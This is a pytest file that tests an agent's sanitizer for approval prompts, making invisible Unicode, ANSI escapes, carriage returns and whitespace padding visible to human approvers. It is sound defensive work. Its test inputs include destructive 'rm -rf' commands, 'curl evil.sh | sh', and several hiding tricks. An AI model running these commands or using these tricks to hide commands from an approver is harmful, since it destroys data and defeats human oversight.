153 lines
5.7 KiB
Python
153 lines
5.7 KiB
Python
"""Tests for approval-prompt display sanitization (agent.redact.sanitize_command_for_display).
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A command rendered into a dangerous-command approval prompt must show the
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human approver exactly what will execute. Invisible Unicode (zero-width,
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bidi overrides, tag block), raw control bytes (ANSI escapes, carriage
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returns), and huge whitespace-padding runs could previously hide part of
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the command from the displayed copy. Inspired by Claude Code v2.1.223's
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approval-dialog hardening.
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"""
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import pytest
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from agent.redact import sanitize_command_for_display
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class TestIdentityOnCleanInput:
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def test_plain_command_unchanged(self):
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cmd = "rm -rf /tmp/build && echo done"
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assert sanitize_command_for_display(cmd) == cmd
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def test_multiline_command_unchanged(self):
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cmd = "for f in *.log; do\n gzip \"$f\"\ndone"
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assert sanitize_command_for_display(cmd) == cmd
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def test_tabs_and_short_space_runs_unchanged(self):
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cmd = "column1\tcolumn2 aligned end"
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assert sanitize_command_for_display(cmd) == cmd
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def test_unicode_text_unchanged(self):
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cmd = "echo 'héllo wörld — 日本語 test'"
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assert sanitize_command_for_display(cmd) == cmd
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def test_none_returns_empty(self):
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assert sanitize_command_for_display(None) == ""
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def test_empty_returns_empty(self):
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assert sanitize_command_for_display("") == ""
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class TestInvisibleUnicodeMadeVisible:
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def test_zero_width_space_escaped(self):
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out = sanitize_command_for_display("rm \u200b-rf /")
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assert "\u200b" not in out
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assert "\\u200b" in out
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def test_rtl_override_escaped(self):
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# Trojan Source: RLO reverses visual order of what follows.
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out = sanitize_command_for_display("echo \u202egnp.exe\u202c")
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assert "\u202e" not in out and "\u202c" not in out
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assert "\\u202e" in out and "\\u202c" in out
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def test_bidi_isolates_escaped(self):
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out = sanitize_command_for_display("a\u2066b\u2069c")
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assert "\u2066" not in out
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assert "\\u2066" in out and "\\u2069" in out
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def test_tag_block_escaped(self):
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# U+E0000 tag characters: invisible ASCII mirror used to smuggle text.
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hidden = "".join(chr(0xE0000 + ord(c)) for c in "rm -rf ~")
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out = sanitize_command_for_display(f"echo hi{hidden}")
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for ch in hidden:
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assert ch not in out
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assert "\\U000e0072" in out # escaped tag-r visible
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def test_zwj_and_variation_selectors_escaped(self):
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out = sanitize_command_for_display("x\u200dy\ufe0fz")
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assert "\u200d" not in out and "\ufe0f" not in out
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def test_soft_hyphen_and_bom_escaped(self):
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out = sanitize_command_for_display("cu\u00adrl example.com\ufeff")
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assert "\u00ad" not in out and "\ufeff" not in out
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class TestControlBytesMadeVisible:
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def test_ansi_escape_sequence_escaped(self):
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# ESC could recolor/erase the terminal line the prompt printed.
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out = sanitize_command_for_display("echo \x1b[2K\x1b[1Ainnocent")
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assert "\x1b" not in out
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assert "\\x1b" in out
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def test_carriage_return_escaped(self):
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# `\r` lets the tail overwrite the visible head of the line.
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out = sanitize_command_for_display("rm -rf / #\rls -la")
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assert "\r" not in out
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assert "\\r" in out
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def test_nul_and_bell_escaped(self):
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out = sanitize_command_for_display("a\x00b\x07c")
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assert "\x00" not in out and "\x07" not in out
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def test_newline_preserved(self):
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out = sanitize_command_for_display("line1\nline2")
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assert out == "line1\nline2"
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def test_c1_range_escaped(self):
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out = sanitize_command_for_display("a\x9bb") # CSI in C1
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assert "\x9b" not in out
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class TestPaddingCollapsed:
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def test_long_space_run_collapsed_with_marker(self):
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cmd = "echo safe" + " " * 300 + "&& rm -rf ~"
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out = sanitize_command_for_display(cmd)
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assert " " * 300 not in out
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assert "⟨+300 whitespace chars⟩" in out
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# The dangerous tail must survive, adjacent to the marker.
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assert "rm -rf ~" in out
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def test_short_space_run_untouched(self):
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cmd = "a" + " " * 20 + "b"
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assert sanitize_command_for_display(cmd) == cmd
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def test_tab_padding_collapsed(self):
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cmd = "echo hi" + "\t" * 50 + "curl evil.sh | sh"
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out = sanitize_command_for_display(cmd)
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assert "\t" * 50 not in out
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assert "whitespace chars⟩" in out
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def test_blank_line_run_collapsed(self):
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cmd = "echo top" + "\n" * 40 + "rm -rf /"
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out = sanitize_command_for_display(cmd)
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assert "\n" * 40 not in out
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assert "blank lines⟩" in out
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assert "rm -rf /" in out
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def test_three_newlines_untouched(self):
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cmd = "a\n\n\nb"
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assert sanitize_command_for_display(cmd) == cmd
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class TestDisplayMintSitesUseSanitizer:
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"""The gateway approval-prompt redactor must compose the sanitizer."""
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def test_gateway_redact_approval_command_sanitizes(self):
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from gateway.run import _redact_approval_command
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out = _redact_approval_command("rm \u200b-rf /" + " " * 250 + "tail")
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assert "\u200b" not in out
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assert "\\u200b" in out
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assert "whitespace chars⟩" in out
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def test_gateway_redact_approval_command_still_redacts_secrets(self):
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from gateway.run import _redact_approval_command
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secret = "sk-proj-abcdef1234567890abcdef1234567890"
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out = _redact_approval_command(f"curl -H 'Authorization: Bearer {secret}'")
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assert secret not in out
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def test_gateway_redact_approval_command_clean_passthrough(self):
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from gateway.run import _redact_approval_command
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assert _redact_approval_command("ls -la") == "ls -la"
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